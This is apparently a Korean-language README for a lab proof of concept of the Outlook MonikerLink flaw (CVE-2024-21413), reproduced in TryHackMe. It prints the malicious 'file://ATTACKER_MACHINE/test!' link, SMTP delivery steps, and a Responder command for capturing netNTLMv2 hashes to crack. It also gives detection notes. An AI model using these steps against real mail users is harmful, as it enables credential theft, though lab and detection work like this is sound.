💻 CVE-2024-21413-Microsoft-Outlook-원격-코드-실행-취약점-PoC

🧩 개요

이 프로젝트는 완전히 격리된 TryHackMe 환경에서 MonikerLink 동작(CVE-2024-21413)을 재현하여 특정 하이퍼링크 형식이 Outlook이 인증 시도를 유출하거나 추가 악용으로 이어지는 방식으로 링크를 처리하도록 할 수 있는 방법을 보여줍니다. 결과물은 PoC와 보안 팀이 적용할 수 있는 우선순위가 지정된 완화 및 탐지 제안 세트입니다. 라이브/무단 시스템은 대상으로 삼지 않았습니다.

⚙️ 도구 및 기술

도구/기술	목적
Python	스크립트 개발
Linux (Kali)	대상 시스템
Metasploit	악용 및 액세스
TryHackMe Lab	통제된 환경

🚀 설정 및 실행

공격 머신의 Linux에서 터미널 열기
- Python 파일을 생성하고 exploit.py 코드를 붙여넣었습니다.
  
  이 코드는 CMNatic이 작성했으며 여기에서 찾을 수 있습니다.
- 내 머신 환경에 맞게 코드를 수정했습니다.
  
  예를 들어, 다음 줄 “<a href=“file://ATTACKER_MACHINE/test!”에서 “ATTACKER_MACHINE”을 공격 머신의 IP 주소로 바꾸었고, “server = smtplib.SMTP('MAILSERVER', 25)” 줄에서는 “MAILSERVER”를 피해 머신의 IP 주소로 변경했습니다.
- 그런 다음 exploit.py 파일을 실행했고 "이메일이 전송되었습니다"라는 응답을 받았습니다.
- netNTLMv2를 캡처하기 위해 (이것은 John the Ripper 또는 다른 도구를 사용하여 복호화하고 평문 비밀번호를 얻을 수 있는 해시입니다). 그래서 responder라는 도구를 사용하여 피해 머신의 응답을 캡처했습니다. responder를 실행하는 명령어는 다음과 같았습니다.
  
  responder -I ens5
  - 여기서 -I는 인터페이스를 의미하며, ens5 인터페이스를 사용했습니다. 제 경우 명령어에서 오류가 발생하여 해결하기 위해 먼저 다음 명령어를 사용한 후 위 명령어를 다시 시도했더니 작동했습니다.
    
    systemctl start systemd-resolved
그런 다음 피해 머신에 로그인했습니다.
- Outlook을 열고 공격 머신에서 보낸 메일 안의 링크를 열었습니다.
이렇게 링크를 한 번 클릭하자 공격 머신의 responder가 netNTLMv2 해시를 캡처할 수 있었습니다.

이 개념 증명은 Microsoft Outlook의 링크 처리에서 미묘한 차이를 드러냅니다. SMB 리소스를 참조하는 특정 file:// 스타일의 모니커 링크는 Outlook의 표준 필터링을 우회하고 아웃바운드 인증 시도를 유발할 수 있습니다. 여기에 설명된 동작은 완전히 통제된 TryHackMe 랩에서 재현되었으며, 겉보기에 무해한 링크 형식이 네트워크 상호 작용을 숨길 수 있음을 강조합니다. 공급업체 패치와 탐지 지침이 발표되었지만, 모니커/파일 체계의 합법적인 사용으로 인해 기본 메커니즘은 여전히 복잡합니다. 중요한 점은 이 PoC에 의해 생성된 활동이 네트워크 수준에서 관찰 가능하다는 것입니다(예: NTLM 인증 시도를 보여주는 패킷 캡처). 따라서 포렌식 분석 및 사고 조사에 활용할 수 있습니다.

탐지

Florian Roth가 :file:\: 요소를 포함하는 이메일을 탐지하기 위한 Yara 규칙을 만들었습니다. Wireshark 이미지

CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability-PoC

인기